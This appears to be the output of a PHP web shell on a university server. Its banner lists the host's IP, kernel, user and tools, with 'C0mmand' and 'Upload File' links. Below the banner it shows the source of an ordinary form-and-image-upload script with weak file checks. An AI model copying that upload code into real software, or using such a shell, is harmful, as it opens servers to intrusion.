Server IP : 172.16.15.8 / Your IP : 18.227.190.231 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/mreed/public_html/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php session_start(); ?> <HTML> <style type="text/css"> body { background:URL('statuebg.jpg') no-repeat; background-position: left top; background-size: 100% 100%; } </style> <BODY link="white" vlink="white"> <font color="white"> <CENTER> <?php $fn = $_POST['fn']; $ln = $_POST['ln']; $gr = $_POST['gr']; $usc = $_POST['usc']; $nyc = $_POST['nyc']; $psl = $_POST['psl']; $os = $_POST['os']; $desc = $_POST['desc']; $_SESSION['fn'] = $fn; $_SESSION['ln'] = $ln; $_SESSION['gr'] = $gr; $_SESSION['usc'] = $usc; $_SESSION['nyc'] = $nyc; $_SESSION['psl'] = $psl; $_SESSION['os'] = $os; $_SESSION['desc'] = $desc; if ($_FILES["img"]["size"] > 1) { $target_dir = "images/"; $target_file = $target_dir . basename($_FILES["img"]["name"]); $_SESSION['target_file'] = $target_file; $uploadOk = 1; $imageFileType = pathinfo($target_file,PATHINFO_EXTENSION); // Check if image file is a actual image or fake image if(isset($_POST["submit"])) { $check = getimagesize($_FILES["img"]["tmp_name"]); if($check !== false) { echo "File is an image - " . $check["mime"] . "."; $uploadOk = 1; } else { echo "File is not an image.<br>"; $uploadOk = 0; } } // Check if file already exists if (file_exists($target_file)) { echo "Sorry, file already exists.<br>"; $uploadOk = 0; } // Check file size if ($_FILES["img"]["size"] > 500000) { echo "Sorry, your file is too large.<br>"; $uploadOk = 0; } // Allow certain file formats if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg" && $imageFileType != "gif" ) { echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.<br>"; $uploadOk = 0; } // Check if $uploadOk is set to 0 by an error if ($uploadOk == 0) { echo "Sorry, your file was not uploaded.<br>"; // if everything is ok, try to upload file } else { if (move_uploaded_file($_FILES["img"]["tmp_name"], $target_file)) { ?> <script type="text/javascript"> <!-- window.location = "final_3inputcheck.php" --> </script> <?php } else { echo "Your file could not be uploaded.<br>"; } } } else { $target_file = NULL; $_SESSION['target_file'] = $target_file; ?> <script type="text/javascript"> <!-- window.location = "final_3inputcheck.php" --> </script> <?php } ?> <P> <table align="center"> <tr><td align="center"> <A HREF=final_2inputform.html>Back to Submision Form</A> </CENTER> </BODY> </HTML>